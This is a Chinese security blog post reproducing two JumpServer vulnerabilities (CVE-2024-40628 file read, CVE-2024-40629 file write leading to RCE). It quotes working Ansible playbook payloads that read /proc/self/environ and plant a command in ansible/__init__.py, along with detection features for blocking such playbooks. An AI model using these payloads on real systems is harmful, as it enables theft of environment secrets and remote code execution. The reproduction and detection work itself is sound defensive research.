环境搭建
受影响版本:v3.0.0-v3.10.11
JumpServer 默认账号密码为 admin/admin
进入后台后
-
创建资产
-
创建普通用户
-
为普通用户资产授权
-
登录创建的普通用户
注意:需要在系统设置、功能设置、任务中心、开启作业中心
漏洞复现
Arbitrary File Read in Ansible Playbooks[CVE-2024-40628]
https://github.com/jumpserver/jumpserver/security/advisories/GHSA-rpf7-g4xh-84v9
- hosts: all
tasks:
- name: read file from local host = celery using file lookup plugin
ansible.builtin.debug:
msg: "{{ lookup('ansible.builtin.file', '/proc/self/environ') }}"
执行的时候,流量是通过ws协议传输的,因此,提前一步检测,在创建恶意的paybook时就进行拦截。
特征提取
-
请求方法
-
URL
-
JMS请求头
-
敏感文件
-
ansible.builtin.file
Arbitrary File Write in Ansible Playbooks leads to RCE[CVE-2024-40629]
- hosts: all
tasks:
- name: create python file on remote host that executes a command
shell: |
echo 'from ansible.release import __version__, __author__
__import__("os").system("id > /tmp/pwnd")' > /tmp/rce
- name: write that file at a known location that gets reloaded at the next ansible execution
fetch:
src: /tmp/rce
dest: /opt/py3/lib/python3.11/site-packages/ansible/__init__.py
flat: true
文件写入成功
执行另一个Playbook,代码执行成功RCE
特征触发位置,也是在创建paybook的时候进行检测
特征提取
-
请求方法
-
URL
-
JMS请求头
-
python代码执行特征
-
常见命令执行
原文始发于微信公众号(红蓝安全):JumpServer文件写入代码执行漏洞[CVE-2024-40629][CVE-2024-40628]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论